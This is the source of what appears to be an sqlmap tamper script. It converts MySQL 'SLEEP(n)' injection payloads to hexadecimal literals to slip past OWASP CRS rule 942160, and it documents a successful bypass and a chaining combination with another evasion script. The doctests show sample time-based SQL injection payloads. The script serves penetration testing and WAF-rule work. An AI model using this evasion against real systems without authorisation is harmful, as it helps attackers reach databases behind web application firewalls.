Files

56 lines
1.9 KiB
Python

#!/usr/bin/env python
"""
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
import os
import re
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGHEST
def dependencies():
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
def tamper(payload, **kwargs):
"""
Replaces (MySQL) instances like 'SLEEP(5)' with 'SLEEP(0x5)' counterpart
Requirement:
* MySQL
* MariaDB
Tested against:
* MySQL 5.5.62, 5.7.44, 8.0.36, 8.0.46, 8.4.9, 9.4.0
* Percona 8.0.46
* MariaDB 10.7.8, 10.11.14, 11.4.12, 11.8.8, 12.0.2
Notes:
* Useful to bypass web application firewalls, as the OWASP CRS rule 942160
'(?i:sleep\\(\\s*?\\d*?\\s*?\\)|benchmark\\(.*?\\,.*?\\))' only matches a run of plain
decimal digits between the parentheses, while MySQL happily accepts a hexadecimal
literal there
* Verified against ModSecurity v3 with the OWASP CRS (paranoia level 1, blocking mode),
where 'SLEEP(3)' scores 5 anomaly points and is blocked, while 'SLEEP(0x3)' scores 0
and is answered with HTTP 200, the delay still being applied on all tested engines
* Combine it with tamper script 'odbcbrace' to also clear rule 942100 (libinjection),
e.g. --tamper=sleep2hex,odbcbrace
* 'SLEEP(5.0)' works just as well, for the same reason
>>> tamper('1 AND SLEEP(5)')
'1 AND SLEEP(0x5)'
>>> tamper('1 AND (SELECT SLEEP( 12 ))')
'1 AND (SELECT SLEEP(0xc))'
>>> tamper('1 AND SLEEP(0)')
'1 AND SLEEP(0x0)'
>>> tamper('1 AND 1=1')
'1 AND 1=1'
"""
return re.sub(r"(?i)\bSLEEP\(\s*(\d+)\s*\)", lambda match: "SLEEP(%s)" % hex(int(match.group(1))), payload) if payload else payload